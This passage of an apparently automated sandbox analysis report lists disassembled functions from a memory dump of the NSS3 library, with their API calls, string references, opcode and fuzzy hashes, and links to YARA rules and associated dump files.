String ID:
API String ID: 3131193014-0
Opcode ID: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction ID: f9966b4d9b1da319804c095abcc1fcb01f56ea10c43a1bfb63947d7a3dd2bacb
Opcode Fuzzy Hash: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction Fuzzy Hash: 60314871E02205AFD7009F68DC447DAB7B4FF49318F248136EA19A7B60D770A924C7D9

Function 6C689D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C6813F0
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,?,?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C681445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C689C5B), ref: 6C689DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C689C5B), ref: 6C689DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C689C5B), ref: 6C689E91

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C681560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C67FAAB,00000000), ref: 6C68157E
Part of subcall function 6C681560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C67FAAB,00000000), ref: 6C681592
Part of subcall function 6C681560: memset.VCRUNTIME140(?,00000000,?), ref: 6C681600
Part of subcall function 6C681560: PL_ArenaRelease.NSS3(?,?), ref: 6C681620
Part of subcall function 6C681560: PR_Unlock.NSS3(?), ref: 6C681639

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 46d6c52b365575d72a2f607224fbe5b009dc16f07adff0f5198b3d71df957831
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 54418DB4602606AFE750DF15D844B92BBA1FF4534CF148128D9188BFA1EB72E835CFA4

Function 6C64DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C64DDEC

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

PK11_DigestBegin.NSS3(00000000), ref: 6C64DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C64DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C64DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C64DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DECC

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction ID: 94f13b3a33c92beaeccdb914f6cda443b6d3398b78d86fa2f7d85ad870889655
Opcode Fuzzy Hash: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction Fuzzy Hash: 9D31D7B2D002146BDB01AE24EC40FBB76B8DF56708F058135ED09A7742FB31D919C6EA

Function 6C627E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627E48

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C627E5B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627E7B

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74925C,?), ref: 6C627E92

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627EFA

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction ID: 095850e0c4ed668b5fb581652997f44f411817b9f46641418a9bc42795eecb29
Opcode Fuzzy Hash: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction Fuzzy Hash: 0731AFB2A012159BEB108B69DD40F9B73E8AF45758F154824EC55EBB41F734EC04CBB9

Function 6C67DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C67DCAD

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction ID: 7939460665a5331e5bd0ca4f38bb8c4956ab33669c06ac9bb185e9e499f28889
Opcode Fuzzy Hash: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction Fuzzy Hash: AC317EB5A012049FE720CF19D884B96B7F8AF05358F248C29E94CCBB41E772E944CBB5

Function 6C642E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C63E728,?,00000038,?,?,00000000), ref: 6C642E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C642E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C642E9E
PR_Unlock.NSS3(?), ref: 6C642EAB
PR_Unlock.NSS3(?), ref: 6C642F0D

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction ID: fb928060a97d5b9df75f0523944df523bd7b643ba2bd1a8138f536a746e5cc5c
Opcode Fuzzy Hash: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction Fuzzy Hash: CE3104B5A00505ABEB015F28D8448BAB775EF4A359B64C1B4EC08C7A21EB31EC64C7E5

Function 6C661EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661ECB

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661EF1
EnterCriticalSection.KERNEL32(?), ref: 6C661F01
PR_SetError.NSS3(00000000,00000000), ref: 6C661F39

Part of subcall function 6C66FE20: TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
Part of subcall function 6C66FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F

PR_Unlock.NSS3(?), ref: 6C661F67

Strings

S&fl, xrefs: 6C661EA0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&fl
API String ID: 704537481-3013583952
Opcode ID: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction ID: ad0170fad3c46972280942d74cc039b0a55626b80dde4b019c64fc89977eb927
Opcode Fuzzy Hash: 70030ccdbe57c3946aeefd5ec5294e5e56f366ce0011e6c6c17678e013476778
Instruction Fuzzy Hash: 4121F875A04104ABDB009E2BDC44F9B37A9EF46369F144165FD1887F11E730D954C7EA

Function 6C68CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: deb9eec5a50a1059c9f20aa298a14e69f739689f68bd3153e551b459d853b6a1
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0811E7B1E022046BFB10AA667C41B6B75EC9F4974DF104139EC0AD7741FB60D90886BA

Function 6C638C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638C1B
EnterCriticalSection.KERNEL32 ref: 6C638C34
PL_ArenaAllocate.NSS3 ref: 6C638C65
PR_Unlock.NSS3 ref: 6C638C9C
PR_Unlock.NSS3 ref: 6C638CB6

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Strings

KRAM, xrefs: 6C638C8F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction ID: a815c7eb56338e56bbc3183025e6676c79f4b2c40908027420f8348e71f2e3bc
Opcode Fuzzy Hash: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction Fuzzy Hash: 242156B1A056118FD700AF78C484599B7F4FF49304F15A96ED888CB721DB35D885CF9A

Function 6C648E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EA2

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EC3
TlsGetValue.KERNEL32(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C648EF1
PR_Unlock.NSS3 ref: 6C648F20

Strings

b.fl, xrefs: 6C648E96, 6C648F25

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.fl
API String ID: 1978757487-4112214572
Opcode ID: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction ID: 262b6fb66c7b5e4ad539f72c5bfa7ea6b7f1412f05478dc1a2eb514a62489b25
Opcode Fuzzy Hash: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction Fuzzy Hash: F0216B70A097059BC700AF29D184699BBF4FF49358F01856EE898DBB50D730E854CBDA

Function 6C6B3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_EnterMonitor.NSS3(?), ref: 6C6B3E45

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6B3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6B3EA6

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6B3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6B3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6B3EEE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 5bc18e28123c74249c19edfd2bb8b2929aecec09f8ff55571fdeab92547825c8
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: AC1169B1615600ABD6315E29FC027C776619F4531CF400837F55956A21EA36E93BC74E

Function 6C732C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732CA0
PR_ExitMonitor.NSS3 ref: 6C732CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C732CD1
strdup.MOZGLUE(?), ref: 6C732CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C732D27

Strings

Loaded library %s (static lib), xrefs: 6C732D22

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
